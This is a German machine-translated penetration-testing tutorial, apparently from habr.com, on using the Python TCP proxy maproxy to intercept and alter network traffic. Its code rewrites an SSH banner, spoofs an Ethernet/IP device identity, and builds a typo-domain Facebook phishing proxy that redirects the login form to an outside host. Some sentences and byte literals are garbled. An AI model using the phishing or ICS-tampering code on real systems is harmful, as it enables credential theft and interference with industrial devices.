Der Artikel wurde im Vorfeld des Kurses erstellt .

Zusammenfassung
Verschiedene Arten der Sicherheitsbewertung, von regelmäßigen Penetrationstests und Red Team-Operationen bis hin zum Hacken von IoT/ICS-Geräten und SCADA, umfassen die Arbeit mit binären Netzwerkprotokollen, also im Grunde den Abgriff und die Modifikation von Netzwerkdaten zwischen dem Client und dem Ziel. Das Sniffen von Netzwerkverkehr ist keine schwierige Aufgabe, da wir Werkzeuge wie Wireshark, Tcpdump oder Scapy haben, jedoch stellt die Modifikation eine arbeitsintensivere Aufgabe dar, da wir eine Art Schnittstelle benötigen, um die Netzwerkdaten zu lesen, zu filtern, in Echtzeit zu ändern und zurück an den Zielhost zu senden. Zudem wäre es ideal, wenn ein solches Werkzeug automatisch mit mehreren parallelen Verbindungen arbeiten könnte und die Möglichkeit zur Anpassung durch Skripte hätte.
Eines Tages entdeckte ich ein Werkzeug, das called , die Dokumentation ließ mich schnell verstehen, dass maproxy – genau das, was ich brauche. Es handelt sich um einen recht einfachen, universellen und leicht konfigurierbaren TCP-Proxy. Ich habe dieses Tool mit mehreren ausreichend komplexen Anwendungen getestet, einschließlich ICS-Geräte (die viele Pakete erzeugen), um herauszufinden, ob es mit vielen parallelen Verbindungen umgehen kann, und das Tool hat sich gut geschlagen.
Dieser Artikel wird Sie mit der Verarbeitung von Netzwerkdaten in Echtzeit mithilfe von maproxy.
Übersicht
Ein Tool maproxy basierend auf Tornado – einem beliebten und leistungsfähigen asynchronen Netzwerk-Framework in Python.
Insgesamt kann es in mehreren Modi arbeiten:
TCP:TCP– unverschlüsselte TCP-Verbindungen;TCP:SSLundSSL:TCP– mit einseitiger Verschlüsselung;SSL:SSL– beidseitige Verschlüsselung.
Es wird als Bibliothek bereitgestellt. Für einen schnellen Einstieg können Sie die Beispiel-Dateien verwenden, die die grundlegenden :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Fall 1 – einfacher bidirektionaler Proxy
Basierend auf tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Standardmäßig ProxyServer() nimmt zwei Argumente entgegen – die Verbindung und den Zielport. server.listen() nimmt ein Argument entgegen – den Port für die Annahme eingehender Verbindungen.
Ausführen des Skripts:
# python tcp2tcp.py Um den Test durchzuführen, werden wir uns über unser Proxy-Skript mit einem lokalen SSH-Server verbinden, das auf 2222/tcp hört und sich mit dem Standardport 22/tcp des SSH-Servers verbindet:

Das Willkommensbanner zeigt, dass unser Beispiel-Skript den Netzwerkverkehr erfolgreich proxied.
Fall 2 – Datenmodifikation
Ein weiteres Demskript logging_proxy.py eignet sich hervorragend zur Interaktion mit Netzwerkdaten. Die Kommentare in der Datei beschreiben die Klassenmethoden, die Sie ändern können, um Ihr Ziel zu erreichen:

Das Interessanteste hier ist:
on_c2p_done_read– zum Abfangen von Daten auf dem Weg vom Client zum Server;on_p2s_done_read– in umgekehrter Richtung.
Lassen Sie uns versuchen, das SSH-Banner zu ändern, das der Server an den Client zurückgibt:
[…]
def on_p2s_done_read(self, data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession, self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost", 22)
server.listen(2222)
[…]Führen Sie das Skript aus:

Wie Sie sehen, wurde der Client in die Irre geführt, da der Name des SSH-Servers für ihn auf "DumnySSH".

umgeändert wurde.
Fall 3 – einfache Phishing-Webseite m.facebook.com und verwenden wir eine benutzerdefinierte Domain mit absichtlichem Tippfehler, zum Beispiel m.facebok.com. Zum Zwecke der Demonstration nehmen wir einfach an, dass die Domain von uns registriert wurde.
Wir werden eine unverschlüsselte Netzwerkverbindung zu unserem Opfer-Proxy und einen SSL-Stream für den Facebook-Server einrichten (31.13.81.36). Damit dieses Beispiel funktioniert, müssen wir den HTTP-Host-Header ändern und den richtigen Hostnamen einfügen, außerdem deaktivieren wir die Komprimierung der Antworten, um leichten Zugriff auf deren Inhalt zu erhalten. Schließlich ersetzen wir das HTML-Formular, damit die Anmeldedaten an uns gesendet werden, anstatt an die Server von Facebook:
[…]
def on_c2p_done_read(self,data):
# Host-Header ersetzen
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# Kompression deaktivieren
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partielle Ersetzung der Antwort
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]"Ergebnis:

Wie Sie sehen können, konnten wir die Originalseite erfolgreich ersetzen.
Fall 4 – Ethernet/IP modifizieren
Ich habe lange mit Industriegeräten und -software (ICS / SCADA) zu tun gehabt, wie beispielsweise speicherprogrammierbare Steuerungen (SPS), Ein- und Ausgabemodule, Antriebe, Relais, Treppenprogrammiersprachen und vieles mehr. Dieser Fall ist für diejenigen, die industrielle Dinge mögen. Das Hacken solcher Lösungen erfordert ein aktives Spiel mit Netzwerkprotokollen. Im nächsten Beispiel möchte ich zeigen, wie Sie den Netzwerkverkehr von ICS/SCADA modifizieren können.
Dafür benötigen Sie Folgendes:
- Einen Netzwerksniffer, wie Wireshark;
- Ein Ethernet/IP- oder einfach SIP-Gerät, das Sie mit dem Shodan-Dienst finden können;
- Unser Skript basiert auf
maproxy.
Zunächst schauen wir uns an, wie eine typische Identifikationsantwort vom CIP (Common Industrial Protocol) aussieht:

Die Geräteidentifikation erfolgt über das Ethernet/IP-Protokoll, das eine erweiterte Version des Ethernet-Protokolls für industrielle Anwendungen ist und Protokolle wie CIP einbettet. Wir werden den spezifischen Identifikationsnamen ändern, der im Screenshot sichtbar ist „NI-IndComm for Ethernet“ mit unserem Proxy-Skript. Wir könnten das Skript wiederverwenden logging_proxy.py und analog die Klassenmethode modifizieren on_p2s_done_read, da wir möchten, dass auf dem Client ein anderer Identifikationsname sichtbar ist.
Code:
[…]
def on_p2s_done_read(self,data):
# Teilweiser Ersatz der Antwort
# Überprüfung, ob wir die List Identity-Nachricht erhalten haben
if data[26:28] == b'x0cx00':
print('Antwort erhalten, ersetzen')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Im Grunde haben wir die Geräteidentifikation zweimal angefordert, die zweite Antwort ist die Originalantwort, und die erste wurde zur Laufzeit modifiziert.
Und zuletzt
Meiner Meinung nach maproxy Ein praktisches und einfaches Tool, das zudem in Python geschrieben ist, weshalb ich der Meinung bin, dass auch Sie von seiner Nutzung profitieren können. Natürlich gibt es komplexere Werkzeuge zur Verarbeitung und Modifikation von Netzwerkdaten, die jedoch auch mehr Aufmerksamkeit erfordern und typischerweise für spezifische Anwendungsszenarien entwickelt werden, zum Beispiel, , oder für Fälle, die dem dritten ähneln, oder für den letzten Fall. So oder so, mit Hilfe von maproxy werden Sie Ihre Ideen zur Abfangung von Netzwerkdaten schnell umsetzen können, da die Beispielskripte sehr anschaulich sind.
Quelle: habr.com
